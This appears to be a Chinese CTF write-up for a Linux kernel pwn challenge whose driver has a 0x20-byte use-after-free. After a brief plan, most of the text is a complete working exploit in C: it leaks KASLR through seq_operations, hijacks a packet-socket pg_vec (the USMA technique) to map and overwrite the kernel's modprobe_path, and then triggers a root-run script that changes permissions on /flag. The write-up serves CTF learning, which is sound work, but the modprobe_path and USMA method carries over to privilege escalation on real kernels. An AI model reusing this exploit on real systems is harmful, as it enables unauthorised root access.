清理电脑文件时,发现这道题,之前没学 kernel pwn
就没做,然后就一直搁了,正好好久没做 kernel pwn
了,就把之前的帐给还 了吧。
题目直接给了提示:【Hint1】uaf劫持seq_operations结构体
题目实现增删查改的功能,白给的 0x20 大小的 UAF
,开启了 SMEP\KASLR
。
这里懒得找 gadget
了,所以打算劫持 freelist
去打 modprobe_path
的,但是发现其开了保护,但是这里是可以泄漏 cookie
的(也就是那个异或的随机数),但是我懒的搞了,就直接利用 USMA
打 modprobe_path
了
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
int fd;
typedef struct requset {
uint64_t idx;
char* buf;
}request;
void add(uint64_t idx) {
request req = { .idx = idx };
ioctl(fd, 0x10000, &req);
}
void del(uint64_t idx) {
request req = { .idx = idx };
ioctl(fd, 0x10001, &req);
}
void dul(uint64_t idx) {
request req = { .idx = idx };
ioctl(fd, 0x10002, &req);
}
void copy(char* buf) {
request req = { .buf = buf };
ioctl(fd, 0x6666, &req);
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;
if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) perror("setsockopt(PACKET_RX_RING)"), exit(-1);
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) puts("socket(AF_PACKET)"), exit(-1);
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);
return s;
}
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/x");
system("chmod +x /home/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/dummy");
system("chmod +x /home/dummy");
system("/home/dummy");
sleep(0.3);
system("cat /flag");
exit(0);
}
size_t koffset;
int main(int argc, char** argv, char** envp)
{
pid_t pid;
// int pipe_fd[2];
// pipe(pipe_fd);
pid = fork();
if (!pid)
{
unshare_setup();
bind_core(0);
fd = open("/dev/kheap", O_RDWR);
if (fd < 0) err_exit("FAILED to open dev file");
char buf[0x200] = { 0 };
add(0);
dul(0);
del(0);
int seq_fd = open("proc/self/stat", O_RDONLY);
read(fd, buf, 0x20);
binary_dump("seq_operations data", buf, 0x20);
koffset = *(size_t*)buf - 0xffffffff8133f980;
size_t modprobe_path = koffset + 0xffffffff82c6c2e0;
hexx("koffset", koffset);
hexx("modprobe_path", modprobe_path);
memset(buf, 0, sizeof(buf));
add(0);
dul(0);
add(1);
del(0);
del(1);
int packet_fd = pagealloc_pad(0x20 / 8, 4096);
read(fd, buf, 0x20);
binary_dump("pg_vec data", buf, 0x20);
*(size_t*)buf = modprobe_path - 0x2e0;
write(fd, buf, 0x20);
char *page = NULL, *modprobe_path_ptr = NULL;
page = mmap(NULL, 0x1000*(0x20 / 8), PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
modprobe_path_ptr = page + 0x2e0;
puts(modprobe_path_ptr);
strcpy(modprobe_path_ptr, "/home/x");
get_flag();
// write(pipe_fd[1], "G", 1);
// puts("CHILD END");
// exit(0);
} else if (pid < 0) {
err_exit("FAILED to fork");
} else {
// char buf[1];
// read(pipe_fd[0], buf, 1);
// puts("PARENT END");
// exit(0);
wait(NULL);
exit(0);
}
puts("EXP NERVER END");
}